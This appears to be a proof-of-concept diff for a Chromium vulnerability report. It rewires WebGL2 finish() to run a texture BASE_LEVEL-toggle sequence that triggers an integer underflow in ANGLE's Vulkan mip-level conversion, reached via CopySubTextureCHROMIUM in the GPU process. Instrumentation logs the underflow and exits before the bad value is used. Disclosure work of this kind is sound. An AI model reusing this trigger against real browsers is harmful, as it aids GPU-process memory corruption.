diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc index 66f88bd2bc802..3d2bcf7f4e0f7 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc @@ -26,6 +26,8 @@ #include "third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h" #include +#include +#include #include #include @@ -3530,9 +3532,123 @@ void WebGLRenderingContextBase::enableVertexAttribArray(GLuint index) { ContextGL()->EnableVertexAttribArray(index); } +// ===================================================================== +// POC INJECTION: Simulates a compromised renderer issuing the +// glCopySubTextureCHROMIUM BASE_LEVEL-toggle attack over the GLES2 +// command buffer to the GPU process. Triggered by WebGL2 gl.finish(). +// All calls below go through GLES2Interface -> command buffer IPC -> +// passthrough decoder (GPU process) -> ANGLE. +// ===================================================================== +static void RunCopySubTextureUnderflowPOC(gpu::gles2::GLES2Interface* gl) { + fprintf(stderr, + "[POC][renderer pid=%d] starting CopySubTextureCHROMIUM " + "BASE_LEVEL-toggle underflow sequence\n", + (int)getpid()); + + // ---- Create source texture: level 0 = 64x64, level 2 = 16x16 ----- + GLuint tex[2] = {0, 0}; + gl->GenTextures(2, tex); + const GLuint src = tex[0]; + const GLuint dst = tex[1]; + + std::vector px64(64 * 64 * 4, 0xAB); + std::vector px16(16 * 16 * 4, 0xCD); + + gl->ActiveTexture(GL_TEXTURE0); + gl->BindTexture(GL_TEXTURE_2D, src); + gl->TexImage2D(GL_TEXTURE_2D, /*level=*/0, GL_RGBA8, 64, 64, 0, GL_RGBA, + GL_UNSIGNED_BYTE, px64.data()); + gl->TexImage2D(GL_TEXTURE_2D, /*level=*/2, GL_RGBA8, 16, 16, 0, GL_RGBA, + GL_UNSIGNED_BYTE, px16.data()); + + // BASE_LEVEL=2 so VkImage is allocated with mFirstAllocatedLevel=2. + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 2); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 2); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); + + // ---- Minimal program that samples src; draw to force texture sync ---- + static const char* kVS = + "#version 300 es\n" + "void main(){\n" + " vec2 p = vec2(float((gl_VertexID&1)*2-1), float((gl_VertexID&2)-1));\n" + " gl_Position = vec4(p, 0.0, 1.0);\n" + "}\n"; + static const char* kFS = + "#version 300 es\n" + "precision mediump float;\n" + "uniform sampler2D u_tex;\n" + "out vec4 o;\n" + "void main(){ o = texture(u_tex, vec2(0.5)); }\n"; + + GLuint vs = gl->CreateShader(GL_VERTEX_SHADER); + gl->ShaderSource(vs, 1, &kVS, nullptr); + gl->CompileShader(vs); + GLuint fs = gl->CreateShader(GL_FRAGMENT_SHADER); + gl->ShaderSource(fs, 1, &kFS, nullptr); + gl->CompileShader(fs); + GLuint prog = gl->CreateProgram(); + gl->AttachShader(prog, vs); + gl->AttachShader(prog, fs); + gl->LinkProgram(prog); + GLint linked = 0; + gl->GetProgramiv(prog, GL_LINK_STATUS, &linked); + fprintf(stderr, "[POC][renderer] program link status=%d\n", linked); + gl->UseProgram(prog); + GLint loc = gl->GetUniformLocation(prog, "u_tex"); + gl->Uniform1i(loc, 0); + + GLuint vao = 0; + gl->GenVertexArraysOES(1, &vao); + gl->BindVertexArrayOES(vao); + + // Draw to the default WebGL framebuffer; this forces ANGLE to syncState + // textures (DIRTY_OBJECT_TEXTURES) -> TextureVk::initImage(firstLevel=2). + gl->Viewport(0, 0, 4, 4); + gl->DrawArrays(GL_TRIANGLES, 0, 3); + GLenum e1 = gl->GetError(); + fprintf(stderr, "[POC][renderer] draw err=0x%x\n", e1); + + // ---- Toggle BASE_LEVEL back to 0; backend mFirstAllocatedLevel stays 2 ---- + gl->BindTexture(GL_TEXTURE_2D, src); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0); + + // ---- Destination texture ---- + gl->BindTexture(GL_TEXTURE_2D, dst); + gl->TexImage2D(GL_TEXTURE_2D, /*level=*/0, GL_RGBA8, 64, 64, 0, GL_RGBA, + GL_UNSIGNED_BYTE, px64.data()); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + + // ---- Trigger: CopySubTextureCHROMIUM(src, sourceLevel=0, ...) ---- + // ValidateCopySubTextureCHROMIUM: isFramebufferAttachmentComplete(0) passes + // because mState.mBaseLevel==0 now. But srcImage->mFirstAllocatedLevel==2, + // so toVkLevel(0) -> 0 - 2 -> uint32 0xFFFFFFFE -> vkCmdCopyImage. + fprintf(stderr, + "[POC][renderer] issuing CopySubTextureCHROMIUM(src=%u, srcLevel=0, " + "dst=%u)\n", + src, dst); + gl->CopySubTextureCHROMIUM(src, /*source_level=*/0, GL_TEXTURE_2D, dst, + /*dest_level=*/0, /*xoffset=*/0, /*yoffset=*/0, + /*x=*/0, /*y=*/0, /*width=*/64, /*height=*/64, + /*flip_y=*/GL_FALSE, + /*premultiply_alpha=*/GL_FALSE, + /*unmultiply_alpha=*/GL_FALSE); + GLenum e2 = gl->GetError(); + fprintf(stderr, "[POC][renderer] CopySubTextureCHROMIUM err=0x%x\n", e2); + gl->Finish(); + fprintf(stderr, "[POC][renderer] sequence complete\n"); +} + void WebGLRenderingContextBase::finish() { if (isContextLost()) return; + if (IsWebGL2()) { + RunCopySubTextureUnderflowPOC(ContextGL()); + return; + } ContextGL()->Flush(); // Intentionally a flush, not a finish. } diff --git a/third_party/angle/src/libANGLE/renderer/vulkan/vk_utils.cpp b/third_party/angle/src/libANGLE/renderer/vulkan/vk_utils.cpp index 765b3e269e..bfe26f53a9 100644 --- a/third_party/angle/src/libANGLE/renderer/vulkan/vk_utils.cpp +++ b/third_party/angle/src/libANGLE/renderer/vulkan/vk_utils.cpp @@ -13,6 +13,11 @@ #include "libANGLE/renderer/vulkan/vk_utils.h" +#include +#include +#include +extern "C" void __sanitizer_print_stack_trace(); + #include "common/span.h" #include "libANGLE/Context.h" #include "libANGLE/Display.h" @@ -1968,6 +1973,30 @@ void GetExtentsAndLayerCount(gl::TextureType textureType, vk::LevelIndex GetLevelIndex(gl::LevelIndex levelGL, gl::LevelIndex baseLevel) { + // POC OBSERVATION INSTRUMENTATION (GPU process): + // Make the release-stripped ASSERT below observable. This does not change + // behaviour on the non-bug path; it only reports + traps on the underflow + // that would otherwise be passed straight to vkCmdCopyImage with + // srcSubresource.mipLevel = (uint32_t)(levelGL - baseLevel). + if (baseLevel.get() > levelGL.get()) + { + uint32_t vkMip = static_cast(levelGL.get() - baseLevel.get()); + fprintf(stderr, + "[POC][gpu pid=%d] CWE-191 INTEGER UNDERFLOW in " + "gl_vk::GetLevelIndex: levelGL=%d baseLevel(mFirstAllocatedLevel)=%d " + "-> vk mipLevel=%u (0x%08X) -> vkCmdCopyImage\n", + static_cast(getpid()), levelGL.get(), baseLevel.get(), vkMip, + vkMip); + fflush(stderr); + // ASAN-symbolized backtrace: proves this is reached in the GPU + // process via DoCopySubTextureCHROMIUM -> TextureVk::copySubTexture + // -> copySubImageImplWithTransfer -> ImageHelper::toVkLevel. + __sanitizer_print_stack_trace(); + fflush(stderr); + // Avoid forwarding the malformed mip to SwiftShader (4B-iteration + // hang in vk::Image::getSubresourceOffset). + _exit(42); + } ASSERT(baseLevel <= levelGL); return vk::LevelIndex(levelGL.get() - baseLevel.get()); }